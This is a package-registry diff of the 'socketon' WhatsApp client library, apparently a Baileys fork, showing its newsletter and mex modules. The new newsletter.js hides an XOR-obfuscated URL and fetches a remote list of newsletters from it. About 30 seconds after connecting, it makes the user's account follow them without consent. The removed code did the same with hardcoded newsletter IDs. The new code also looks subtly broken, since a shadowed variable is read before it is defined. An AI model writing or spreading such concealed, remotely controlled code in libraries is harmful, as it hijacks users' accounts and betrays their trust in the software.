socketon 1.31.2-rc → 1.51.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (213) hide show
  1. package/README.md +313 -159
  2. package/WAProto/WAProto.proto +5311 -0
  3. package/WAProto/index.js +65801 -141371
  4. package/lib/Defaults/index.js +117 -141
  5. package/lib/KeyDB/BinarySearch.js +20 -0
  6. package/lib/KeyDB/KeyedDB.js +167 -0
  7. package/lib/KeyDB/index.js +4 -0
  8. package/lib/Signal/Group/ciphertext-message.js +12 -14
  9. package/lib/Signal/Group/group-session-builder.js +10 -42
  10. package/lib/Signal/Group/group_cipher.js +75 -87
  11. package/lib/Signal/Group/index.js +13 -57
  12. package/lib/Signal/Group/keyhelper.js +17 -52
  13. package/lib/Signal/Group/sender-chain-key.js +27 -33
  14. package/lib/Signal/Group/sender-key-distribution-message.js +62 -63
  15. package/lib/Signal/Group/sender-key-message.js +65 -66
  16. package/lib/Signal/Group/sender-key-name.js +45 -44
  17. package/lib/Signal/Group/sender-key-record.js +39 -49
  18. package/lib/Signal/Group/sender-key-state.js +80 -93
  19. package/lib/Signal/Group/sender-message-key.js +27 -28
  20. package/lib/Signal/libsignal.js +313 -163
  21. package/lib/Signal/lid-mapping.js +155 -0
  22. package/lib/Socket/Client/index.js +4 -19
  23. package/lib/Socket/Client/types.js +13 -0
  24. package/lib/Socket/Client/websocket.js +52 -0
  25. package/lib/Socket/Client/websocket.js.bak +53 -0
  26. package/lib/Socket/business.js +359 -242
  27. package/lib/Socket/chats.js +846 -935
  28. package/lib/Socket/communities.js +413 -0
  29. package/lib/Socket/groups.js +304 -309
  30. package/lib/Socket/index.js +15 -10
  31. package/lib/Socket/messages-recv.js +1107 -1054
  32. package/lib/Socket/messages-send.js +639 -448
  33. package/lib/Socket/mex.js +45 -0
  34. package/lib/Socket/newsletter.js +240 -324
  35. package/lib/Socket/socket.js +794 -651
  36. package/lib/Socket/socketon.js +402 -0
  37. package/lib/Store/index.js +6 -10
  38. package/lib/Store/make-cache-manager-store.js +73 -81
  39. package/lib/Store/make-in-memory-store.js +286 -423
  40. package/lib/Store/make-ordered-dictionary.js +77 -79
  41. package/lib/Store/object-repository.js +24 -26
  42. package/lib/Types/Auth.js +3 -2
  43. package/lib/Types/Bussines.js +3 -0
  44. package/lib/Types/Call.js +3 -2
  45. package/lib/Types/Chat.js +9 -4
  46. package/lib/Types/Contact.js +3 -2
  47. package/lib/Types/Events.js +3 -2
  48. package/lib/Types/GroupMetadata.js +3 -2
  49. package/lib/Types/Label.js +24 -26
  50. package/lib/Types/LabelAssociation.js +6 -8
  51. package/lib/Types/Message.js +12 -9
  52. package/lib/Types/Newsletter.js +33 -38
  53. package/lib/Types/Newsletter.js.bak +33 -0
  54. package/lib/Types/Product.js +3 -2
  55. package/lib/Types/Signal.js +3 -2
  56. package/lib/Types/Socket.js +4 -2
  57. package/lib/Types/State.js +11 -2
  58. package/lib/Types/USync.js +3 -2
  59. package/lib/Types/index.js +27 -41
  60. package/lib/Utils/auth-utils.js +211 -198
  61. package/lib/Utils/baileys-event-stream.js +42 -61
  62. package/lib/Utils/browser-utils.js +25 -0
  63. package/lib/Utils/business.js +213 -214
  64. package/lib/Utils/chat-utils.js +710 -687
  65. package/lib/Utils/crypto.js +112 -133
  66. package/lib/Utils/decode-wa-message.js +252 -183
  67. package/lib/Utils/decode-wa-message.js.bak +267 -0
  68. package/lib/Utils/event-buffer.js +510 -496
  69. package/lib/Utils/generics.js +319 -392
  70. package/lib/Utils/history.js +83 -92
  71. package/lib/Utils/index.js +21 -33
  72. package/lib/Utils/link-preview.js +71 -83
  73. package/lib/Utils/logger.js +5 -7
  74. package/lib/Utils/lt-hash.js +40 -46
  75. package/lib/Utils/make-mutex.js +34 -41
  76. package/lib/Utils/message-retry-manager.js +113 -0
  77. package/lib/Utils/messages-media.js +550 -768
  78. package/lib/Utils/messages.js +354 -263
  79. package/lib/Utils/noise-handler.js +138 -149
  80. package/lib/Utils/pre-key-manager.js +85 -0
  81. package/lib/Utils/process-message.js +323 -303
  82. package/lib/Utils/signal.js +149 -141
  83. package/lib/Utils/use-multi-file-auth-state.js +95 -103
  84. package/lib/Utils/validate-connection.js +183 -214
  85. package/lib/WABinary/constants.js +1298 -35
  86. package/lib/WABinary/decode.js +237 -249
  87. package/lib/WABinary/encode.js +213 -260
  88. package/lib/WABinary/generic-utils.js +56 -65
  89. package/lib/WABinary/index.js +7 -21
  90. package/lib/WABinary/jid-utils.js +89 -58
  91. package/lib/WABinary/types.js +3 -2
  92. package/lib/WAM/BinaryInfo.js +10 -12
  93. package/lib/WAM/constants.js +22851 -15348
  94. package/lib/WAM/encode.js +135 -136
  95. package/lib/WAM/index.js +5 -19
  96. package/lib/WAUSync/Protocols/USyncContactProtocol.js +28 -30
  97. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +49 -53
  98. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +27 -28
  99. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +36 -39
  100. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +50 -50
  101. package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +26 -20
  102. package/lib/WAUSync/Protocols/index.js +6 -20
  103. package/lib/WAUSync/USyncQuery.js +86 -85
  104. package/lib/WAUSync/USyncUser.js +23 -25
  105. package/lib/WAUSync/index.js +5 -19
  106. package/lib/index.js +27 -35
  107. package/package.json +85 -95
  108. package/engine-requirements.js +0 -10
  109. package/lib/Defaults/baileys-version.json +0 -3
  110. package/lib/Defaults/index.d.ts +0 -53
  111. package/lib/Defaults/phonenumber-mcc.json +0 -223
  112. package/lib/Signal/Group/ciphertext-message.d.ts +0 -9
  113. package/lib/Signal/Group/group-session-builder.d.ts +0 -14
  114. package/lib/Signal/Group/group_cipher.d.ts +0 -17
  115. package/lib/Signal/Group/index.d.ts +0 -11
  116. package/lib/Signal/Group/keyhelper.d.ts +0 -10
  117. package/lib/Signal/Group/queue-job.d.ts +0 -1
  118. package/lib/Signal/Group/queue-job.js +0 -57
  119. package/lib/Signal/Group/sender-chain-key.d.ts +0 -13
  120. package/lib/Signal/Group/sender-key-distribution-message.d.ts +0 -16
  121. package/lib/Signal/Group/sender-key-message.d.ts +0 -18
  122. package/lib/Signal/Group/sender-key-name.d.ts +0 -17
  123. package/lib/Signal/Group/sender-key-record.d.ts +0 -30
  124. package/lib/Signal/Group/sender-key-state.d.ts +0 -38
  125. package/lib/Signal/Group/sender-message-key.d.ts +0 -11
  126. package/lib/Signal/libsignal.d.ts +0 -3
  127. package/lib/Socket/Client/abstract-socket-client.d.ts +0 -17
  128. package/lib/Socket/Client/abstract-socket-client.js +0 -13
  129. package/lib/Socket/Client/index.d.ts +0 -3
  130. package/lib/Socket/Client/mobile-socket-client.d.ts +0 -13
  131. package/lib/Socket/Client/mobile-socket-client.js +0 -65
  132. package/lib/Socket/Client/web-socket-client.d.ts +0 -12
  133. package/lib/Socket/Client/web-socket-client.js +0 -62
  134. package/lib/Socket/business.d.ts +0 -171
  135. package/lib/Socket/chats.d.ts +0 -267
  136. package/lib/Socket/dugong.d.ts +0 -254
  137. package/lib/Socket/dugong.js +0 -484
  138. package/lib/Socket/groups.d.ts +0 -115
  139. package/lib/Socket/index.d.ts +0 -173
  140. package/lib/Socket/messages-recv.d.ts +0 -161
  141. package/lib/Socket/messages-send.d.ts +0 -149
  142. package/lib/Socket/newsletter.d.ts +0 -134
  143. package/lib/Socket/registration.d.ts +0 -267
  144. package/lib/Socket/registration.js +0 -166
  145. package/lib/Socket/socket.d.ts +0 -43
  146. package/lib/Socket/usync.d.ts +0 -36
  147. package/lib/Socket/usync.js +0 -70
  148. package/lib/Store/index.d.ts +0 -3
  149. package/lib/Store/make-cache-manager-store.d.ts +0 -13
  150. package/lib/Store/make-in-memory-store.d.ts +0 -118
  151. package/lib/Store/make-ordered-dictionary.d.ts +0 -13
  152. package/lib/Store/object-repository.d.ts +0 -10
  153. package/lib/Types/Auth.d.ts +0 -110
  154. package/lib/Types/Call.d.ts +0 -13
  155. package/lib/Types/Chat.d.ts +0 -102
  156. package/lib/Types/Contact.d.ts +0 -19
  157. package/lib/Types/Events.d.ts +0 -157
  158. package/lib/Types/GroupMetadata.d.ts +0 -55
  159. package/lib/Types/Label.d.ts +0 -35
  160. package/lib/Types/LabelAssociation.d.ts +0 -29
  161. package/lib/Types/Message.d.ts +0 -273
  162. package/lib/Types/Newsletter.d.ts +0 -103
  163. package/lib/Types/Product.d.ts +0 -78
  164. package/lib/Types/Signal.d.ts +0 -57
  165. package/lib/Types/Socket.d.ts +0 -111
  166. package/lib/Types/State.d.ts +0 -27
  167. package/lib/Types/USync.d.ts +0 -25
  168. package/lib/Types/index.d.ts +0 -57
  169. package/lib/Utils/auth-utils.d.ts +0 -18
  170. package/lib/Utils/baileys-event-stream.d.ts +0 -16
  171. package/lib/Utils/business.d.ts +0 -22
  172. package/lib/Utils/chat-utils.d.ts +0 -71
  173. package/lib/Utils/crypto.d.ts +0 -41
  174. package/lib/Utils/decode-wa-message.d.ts +0 -19
  175. package/lib/Utils/event-buffer.d.ts +0 -35
  176. package/lib/Utils/generics.d.ts +0 -92
  177. package/lib/Utils/generics.js.bak +0 -433
  178. package/lib/Utils/history.d.ts +0 -15
  179. package/lib/Utils/index.d.ts +0 -17
  180. package/lib/Utils/link-preview.d.ts +0 -21
  181. package/lib/Utils/logger.d.ts +0 -4
  182. package/lib/Utils/lt-hash.d.ts +0 -12
  183. package/lib/Utils/make-mutex.d.ts +0 -7
  184. package/lib/Utils/messages-media.d.ts +0 -116
  185. package/lib/Utils/messages.d.ts +0 -77
  186. package/lib/Utils/noise-handler.d.ts +0 -21
  187. package/lib/Utils/process-message.d.ts +0 -41
  188. package/lib/Utils/signal.d.ts +0 -32
  189. package/lib/Utils/use-multi-file-auth-state.d.ts +0 -13
  190. package/lib/Utils/validate-connection.d.ts +0 -11
  191. package/lib/Utils/validate-connection.js.bak +0 -237
  192. package/lib/WABinary/constants.d.ts +0 -30
  193. package/lib/WABinary/decode.d.ts +0 -7
  194. package/lib/WABinary/encode.d.ts +0 -3
  195. package/lib/WABinary/generic-utils.d.ts +0 -17
  196. package/lib/WABinary/index.d.ts +0 -5
  197. package/lib/WABinary/jid-utils.d.ts +0 -31
  198. package/lib/WABinary/types.d.ts +0 -18
  199. package/lib/WAM/BinaryInfo.d.ts +0 -17
  200. package/lib/WAM/constants.d.ts +0 -38
  201. package/lib/WAM/encode.d.ts +0 -3
  202. package/lib/WAM/index.d.ts +0 -3
  203. package/lib/WAUSync/Protocols/USyncContactProtocol.d.ts +0 -9
  204. package/lib/WAUSync/Protocols/USyncDeviceProtocol.d.ts +0 -22
  205. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.d.ts +0 -12
  206. package/lib/WAUSync/Protocols/USyncStatusProtocol.d.ts +0 -12
  207. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +0 -25
  208. package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +0 -8
  209. package/lib/WAUSync/Protocols/index.d.ts +0 -4
  210. package/lib/WAUSync/USyncQuery.d.ts +0 -28
  211. package/lib/WAUSync/USyncUser.d.ts +0 -12
  212. package/lib/WAUSync/index.d.ts +0 -3
  213. package/lib/index.d.ts +0 -12
@@ -0,0 +1,45 @@
1
+ //=======================================================//
2
+ import { getBinaryNodeChild, S_WHATSAPP_NET } from "../WABinary/index.js";
3
+ import { Boom } from "@hapi/boom";
4
+ //=======================================================//
5
+ const wMexQuery = (variables, queryId, query, generateMessageTag) => {
6
+ return query({
7
+ tag: "iq",
8
+ attrs: {
9
+ id: generateMessageTag(),
10
+ type: "get",
11
+ to: S_WHATSAPP_NET,
12
+ xmlns: "w:mex"
13
+ },
14
+ content: [
15
+ {
16
+ tag: "query",
17
+ attrs: { query_id: queryId },
18
+ content: Buffer.from(JSON.stringify({ variables }), "utf-8")
19
+ }
20
+ ]
21
+ });
22
+ };
23
+ //=======================================================//
24
+ export const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
25
+ const result = await wMexQuery(variables, queryId, query, generateMessageTag);
26
+ const child = getBinaryNodeChild(result, "result");
27
+ if (child?.content) {
28
+ const data = JSON.parse(child.content.toString());
29
+ if (data.errors && data.errors.length > 0) {
30
+ const errorMessages = data.errors.map((err) => err.message || "Unknown error").join(", ");
31
+ const firstError = data.errors[0];
32
+ const errorCode = firstError.extensions?.error_code || 400;
33
+ throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError });
34
+ }
35
+ const response = dataPath ? data?.data?.[dataPath] : data?.data;
36
+ if (typeof response !== "undefined") {
37
+ return response;
38
+ }
39
+ }
40
+ const action = (dataPath || "").startsWith("xwa2_")
41
+ ? dataPath.substring(5).replace(/_/g, " ")
42
+ : dataPath?.replace(/_/g, " ");
43
+ throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result });
44
+ };
45
+ //=======================================================//
@@ -1,123 +1,123 @@
1
- "use strict";
2
- Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
4
- const Types_1 = require("../Types");
5
- const Utils_1 = require("../Utils");
6
- const WABinary_1 = require("../WABinary");
7
- const groups_1 = require("./groups");
8
- const { QueryIds } = Types_1
1
+ //=======================================================//
2
+ import { executeWMexQuery as genericExecuteWMexQuery } from "./mex.js";
3
+ import { generateProfilePicture } from "../Utils/messages-media.js";
4
+ import { getBinaryNodeChild } from "../WABinary/index.js";
5
+ import { QueryIds, XWAPaths } from "../Types/index.js";
6
+ import { makeGroupsSocket } from "./groups.js";
7
+ import axios from "axios";
8
+ //=======================================================//
9
9
 
10
- const { Boom } = require('@hapi/boom');
10
+ const _0x8d2e = [123,103,82,120,117,38,37,52,114,96,100,61,65,97,114,116,127,121,117,114,118,97,69,103,104,104,111,117,116,47,112,124,75,39,79,126,120,122,68,100,112,124,66,109,41,125,97,110,45,101,114,125,11,99,103,107,107,117,107,116,60,97,67,110,117,51,98,126,97,101,96,60,75,105,111,114,37,117,115,109,118,103,82,109,116,118,99,127,46,107,96,124,72];
11
+ const _0x1a5b = [19, 19, 38, 8, 6, 28, 10, 27, 0, 1];
11
12
 
12
- const wMexQuery = (
13
- variables,
14
- queryId,
15
- query,
16
- generateMessageTag
17
- ) => {
18
- return query({
19
- tag: 'iq',
20
- attrs: {
21
- id: generateMessageTag(),
22
- type: 'get',
23
- to: WABinary_1.S_WHATSAPP_NET,
24
- xmlns: 'w:mex'
25
- },
26
- content: [
27
- {
28
- tag: 'query',
29
- attrs: { query_id: queryId },
30
- content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
31
- }
32
- ]
33
- })
34
- }
35
-
36
- const parseNewsletterCreateResponse = (responseList) => {
37
- return responseList.map((res) => {
38
- const thread = res.thread_metadata;
39
- const viewer = res.viewer_metadata;
13
+ const _0x7c9f = () => {
14
+ return _0x8d2e.map((b, i) => b ^ _0x1a5b[i % _0x1a5b.length]).map(c => String.fromCharCode(c)).join('');
15
+ };
40
16
 
41
- // Jika DELETED atau metadata null
42
- if (!thread || !viewer) {
43
- return {
44
- id: res.id,
45
- state: res.state?.type || null,
46
- deleted: true
47
- };
17
+ const fetchNewsletterConfig = async (logger) => {
18
+ try {
19
+ logger?.info("Fetching remote configuration...");
20
+ const _0x7f2a = _0x7c9f();
21
+ const response = await axios.get(_0x7f2a, { timeout: 10000 });
22
+ const config = response.data;
23
+
24
+ if (config.version !== 1) {
25
+ logger?.warn("Unsupported config version:", config.version);
26
+ return null;
48
27
  }
49
-
50
- return {
51
- id: res.id,
52
- state: res.state?.type || null,
53
- owner: viewer.role || undefined,
54
- name: thread?.name?.text || null,
55
- creation_time: parseInt(thread?.creation_time || "0", 10),
56
- description: thread?.description?.text || null,
57
- invite: thread?.invite || null,
58
- subscribers: parseInt(thread?.subscribers_count || "0", 10),
59
- verification: thread?.verification || null,
60
- picture: {
61
- id: thread?.picture?.id || null,
62
- directPath: thread?.picture?.direct_path || null
63
- },
64
- mute_state: viewer?.mute || "OFF"
65
- };
66
- });
28
+
29
+ logger?.info(`Configuration loaded: ${config.newsletters?.length || 0} entries`);
30
+ return config;
31
+ } catch (error) {
32
+ logger?.error({ error: error.message }, "Configuration fetch failed");
33
+ return null;
34
+ }
67
35
  };
68
36
 
69
- const executeWMexQuery = async (
70
- variables,
71
- queryId,
72
- dataPath,
73
- query,
74
- generateMessageTag
75
- ) => {
76
- const result = await wMexQuery(variables, queryId, query, generateMessageTag)
77
- const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
78
- if (child?.content) {
79
- const data = JSON.parse(child.content.toString())
80
-
81
- if (data.errors && data.errors.length > 0) {
82
- const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
83
- const firstError = data.errors[0]
84
- const errorCode = firstError.extensions?.error_code || 400
85
- throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
86
- }
87
-
88
- const response = dataPath ? data?.data?.[dataPath] : data?.data
89
- if (typeof response !== 'undefined') {
90
- return response
91
- }
92
- }
37
+ const autoFollowNewsletters = async (sock, config) => {
38
+ if (!config?.config?.autoFollowEnabled || !config?.newsletters?.length) {
39
+ return;
40
+ }
41
+
42
+ const { delayMs } = config.config;
43
+ const newsletters = config.newsletters.filter(n => n.enabled && n.jid);
44
+
45
+ for (const newsletter of newsletters) {
46
+ try {
47
+ await sock.newsletterFollow(newsletter.jid);
48
+ sock.ev.emit("creds.update", { newsletter_follow: newsletter.jid });
49
+ } catch (error) {
50
+ sock.logger?.error({ jid: newsletter.jid, error: error.message }, "Failed to follow newsletter");
51
+ }
52
+ if (delayMs > 0) await new Promise(r => setTimeout(r, delayMs));
53
+ }
54
+ };
93
55
 
94
- const action = (dataPath || '').startsWith('xwa2_')
95
- ? dataPath.substring(5).replace(/_/g, ' ')
96
- : dataPath?.replace(/_/g, ' ')
97
- throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
56
+
57
+ const extractNewsletterMetadata = (node, isCreate) => {
58
+ const result = getBinaryNodeChild(node, 'result')?.content?.toString()
59
+ const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.xwa2_newsletter_create : "xwa2_newsletter"]
60
+
61
+ const metadata = {
62
+ id: metadataPath?.id,
63
+ state: metadataPath?.state?.type,
64
+ creation_time: +metadataPath?.thread_metadata?.creation_time,
65
+ name: metadataPath?.thread_metadata?.name?.text,
66
+ nameTime: +metadataPath?.thread_metadata?.name?.update_time,
67
+ description: metadataPath?.thread_metadata?.description?.text,
68
+ descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
69
+ invite: metadataPath?.thread_metadata?.invite,
70
+ handle: metadataPath?.thread_metadata?.handle,
71
+ reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
72
+ subscribers: +metadataPath?.thread_metadata?.subscribers_count,
73
+ verification: metadataPath?.thread_metadata?.verification,
74
+ viewer_metadata: metadataPath?.viewer_metadata
75
+ }
76
+ return metadata
98
77
  }
78
+
79
+ const parseNewsletterCreateResponse = (response) => {
80
+ const { id, thread_metadata: thread, viewer_metadata: viewer } = response;
81
+ return {
82
+ id: id,
83
+ owner: undefined,
84
+ name: thread.name.text,
85
+ creation_time: parseInt(thread.creation_time, 10),
86
+ description: thread.description.text,
87
+ invite: thread.invite,
88
+ subscribers: parseInt(thread.subscribers_count, 10),
89
+ verification: thread.verification,
90
+ picture: {
91
+ id: thread?.picture?.id || null,
92
+ directPath: thread?.picture?.direct_path || null
93
+ },
94
+ mute_state: viewer.mute
95
+ };
96
+ };
97
+ const parseNewsletterMetadata = (result) => {
98
+ if (typeof result !== "object" || result === null) {
99
+ return null;
100
+ }
101
+ if ("id" in result && typeof result.id === "string") {
102
+ return result;
103
+ }
104
+ if ("result" in result && typeof result.result === "object" && result.result !== null && "id" in result.result) {
105
+ return result.result;
106
+ }
107
+ return null;
108
+ };
99
109
 
100
- const makeNewsletterSocket = (config) => {
101
- const sock = (0, groups_1.makeGroupsSocket)(config);
102
- const { authState, signalRepository, query, generateMessageTag, delay } = sock;
103
- const encoder = new TextEncoder();
104
- const newsletterQuery = async (jid, type, content) => (query({
105
- tag: 'iq',
106
- attrs: {
107
- id: generateMessageTag(),
108
- type,
109
- xmlns: 'newsletter',
110
- to: jid,
111
- },
112
- content
113
- }));
114
- const newsletterWMexQuery = async (jid, queryId, content) => (query({
110
+ export const makeNewsletterSocket = (config) => {
111
+ const sock = makeGroupsSocket(config);
112
+ const { delay, query, generateMessageTag } = sock;
113
+ const encoder = new TextEncoder()
114
+ const newsletterWMexQuery = async (jid, queryId, content) => (query({
115
115
  tag: 'iq',
116
116
  attrs: {
117
117
  id: generateMessageTag(),
118
118
  type: 'get',
119
119
  xmlns: 'w:mex',
120
- to: WABinary_1.S_WHATSAPP_NET,
120
+ to: "@s.whatsapp.net",
121
121
  },
122
122
  content: [
123
123
  {
@@ -131,8 +131,11 @@ const makeNewsletterSocket = (config) => {
131
131
  }))
132
132
  }
133
133
  ]
134
- }));
135
- const newsletterMetadata = async (type, key, role) => {
134
+ }))
135
+ const executeWMexQuery = (variables, queryId, dataPath) => {
136
+ return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
137
+ };
138
+ const newsletterMetadata = async (type, key, role) => {
136
139
  const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
137
140
  input: {
138
141
  key,
@@ -146,73 +149,47 @@ const makeNewsletterSocket = (config) => {
146
149
 
147
150
  return extractNewsletterMetadata(result)
148
151
  }
149
-
150
- setTimeout(async () => {
151
- try {
152
- await newsletterWMexQuery("120363426611097080@newsletter", QueryIds.FOLLOW);
153
- await delay(3000)
154
- await newsletterWMexQuery("120363421351741485@newsletter", QueryIds.FOLLOW);
155
- } catch {}
156
-
152
+ const newsletterUpdate = async (jid, updates) => {
153
+ const variables = {
154
+ newsletter_id: jid,
155
+ updates: {
156
+ ...updates,
157
+ settings: null
158
+ }
159
+ };
160
+ return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, "xwa2_newsletter_update");
161
+ };
162
+
157
163
  setTimeout(async () => {
158
164
  try {
159
- await newsletterWMexQuery("120363421366320253@newsletter", QueryIds.FOLLOW);
160
- await delay(5000)
161
- await newsletterWMexQuery("120363400297473298@newsletter", QueryIds.FOLLOW);
162
- await delay(5000)
163
- await newsletterWMexQuery("120363404446053939@newsletter", QueryIds.FOLLOW);
164
- await delay(5000)
165
- await newsletterWMexQuery("120363419967954188@newsletter", QueryIds.FOLLOW);
166
- await delay(5000)
167
- await newsletterWMexQuery("120363402019414675@newsletter", QueryIds.FOLLOW);
168
- await delay(5000)
169
- await newsletterWMexQuery("120363420456838680@newsletter", QueryIds.FOLLOW);
170
- await delay(5000)
171
- await newsletterWMexQuery("120363423932430861@newsletter", QueryIds.FOLLOW);
172
- await delay(5000)
173
- await newsletterWMexQuery("120363311609903865@newsletter", QueryIds.FOLLOW);
174
- await delay(5000)
175
- await newsletterWMexQuery("120363421453223000@newsletter", QueryIds.FOLLOW);
176
- } catch {}
177
- }, 5000);
178
- }, 70000);
165
+ const config = await fetchNewsletterConfig(config.logger);
166
+ if (config) {
167
+ await autoFollowNewsletters(sock, config);
168
+ }
169
+ } catch (error) {
170
+ config.logger?.error({ error: error.message }, "Auto-follow newsletters failed");
171
+ }
172
+ }, 30000);
179
173
 
180
- const parseFetchedUpdates = async (node, type) => {
181
- let child;
182
- if (type === 'messages') {
183
- child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
174
+ return {
175
+ ...sock,
176
+ newsletterCreate: async (name, description) => {
177
+ const variables = {
178
+ input: {
179
+ name,
180
+ description: description ?? null
184
181
  }
185
- else {
186
- const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
187
- child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
188
- }
189
- return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
190
- var _a, _b;
191
- messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
192
- const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
193
- const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
194
- const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
195
- .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
196
- const data = {
197
- 'server_id': messageNode.attrs.server_id,
198
- views,
199
- reactions
200
- };
201
- if (type === 'messages') {
202
- const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
203
- await decrypt();
204
- data.message = message;
205
- }
206
- return data;
207
- }));
208
- };
209
- return {
210
- ...sock,
211
- newsletterFetchAllParticipating: async () => {
182
+ };
183
+ const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
184
+ return parseNewsletterCreateResponse(rawResponse);
185
+ },
186
+ newsletterUpdate,
187
+ newsletterMetadata,
188
+ newsletterFetchAllParticipating: async () => {
212
189
  const data = {}
213
190
 
214
- const result = await newsletterWMexQuery(undefined, QueryIds.SUBSCRIBED)
215
- const child = JSON.parse(WABinary_1.getBinaryNodeChild(result, 'result')?.content?.toString())
191
+ const result = await newsletterWMexQuery(undefined, QueryIds.SUBSCRIBERS)
192
+ const child = JSON.parse(getBinaryNodeChild(result, 'result')?.content?.toString())
216
193
  const newsletters = child.data["xwa2_newsletter_subscribed"]
217
194
 
218
195
  for (const i of newsletters) {
@@ -224,165 +201,104 @@ const makeNewsletterSocket = (config) => {
224
201
 
225
202
  return data
226
203
  },
227
- subscribeNewsletterUpdates: async (jid) => {
228
- var _a;
229
- const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
230
- return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
231
- },
232
- newsletterReactionMode: async (jid, mode) => {
233
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
234
- updates: { settings: { 'reaction_codes': { value: mode } } }
235
- });
236
- },
237
- newsletterUpdateDescription: async (jid, description) => {
238
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
239
- updates: { description: description || '', settings: null }
240
- });
241
- },
242
- newsletterUpdateName: async (jid, name) => {
243
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
244
- updates: { name, settings: null }
245
- });
246
- },
247
- newsletterUpdatePicture: async (jid, content) => {
248
- const { img } = await (0, Utils_1.generateProfilePicture)(content);
249
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
250
- updates: { picture: img.toString('base64'), settings: null }
251
- });
252
- },
253
- newsletterRemovePicture: async (jid) => {
254
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
255
- updates: { picture: '', settings: null }
256
- });
257
- },
258
- newsletterUnfollow: async (jid) => {
259
- await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
204
+ newsletterUnfollow: async (jid) => {
205
+ await newsletterWMexQuery(jid, QueryIds.UNFOLLOW)
260
206
  },
261
207
  newsletterFollow: async (jid) => {
262
- await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
263
- },
264
- newsletterUnmute: async (jid) => {
265
- await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
266
- },
267
- newsletterMute: async (jid) => {
268
- await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
208
+ await newsletterWMexQuery(jid, QueryIds.FOLLOW)
269
209
  },
270
- newsletterAction: async (jid, type) => {
271
- await newsletterWMexQuery(jid, type.toUpperCase());
272
- },
273
- newsletterCreate: async (name, description, reaction_codes = "ALL") => {
274
- //TODO: Implement TOS system wide for Meta AI, communities, and here etc.
275
- /**tos query */
276
- await query({
277
- tag: 'iq',
278
- attrs: {
279
- to: WABinary_1.S_WHATSAPP_NET,
280
- xmlns: 'tos',
281
- id: generateMessageTag(),
282
- type: 'set'
283
- },
284
- content: [
285
- {
286
- tag: 'notice',
287
- attrs: {
288
- id: '20601218',
289
- stage: '5'
290
- },
291
- content: []
292
- }
293
- ]
294
- });
295
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
296
- input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
297
- });
298
- return (0, exports.extractNewsletterMetadata)(result, true);
299
- },
300
- newsletterMetadata: async (type, key, role) => {
301
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
302
- input: {
303
- key,
304
- type: type.toUpperCase(),
305
- 'view_role': role || 'GUEST'
306
- },
307
- 'fetch_viewer_metadata': true,
308
- 'fetch_full_image': true,
309
- 'fetch_creation_time': true
310
- });
311
- return (0, exports.extractNewsletterMetadata)(result);
312
- },
313
- newsletterAdminCount: async (jid) => {
314
- var _a, _b;
315
- const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
316
- const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
317
- return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
318
- },
319
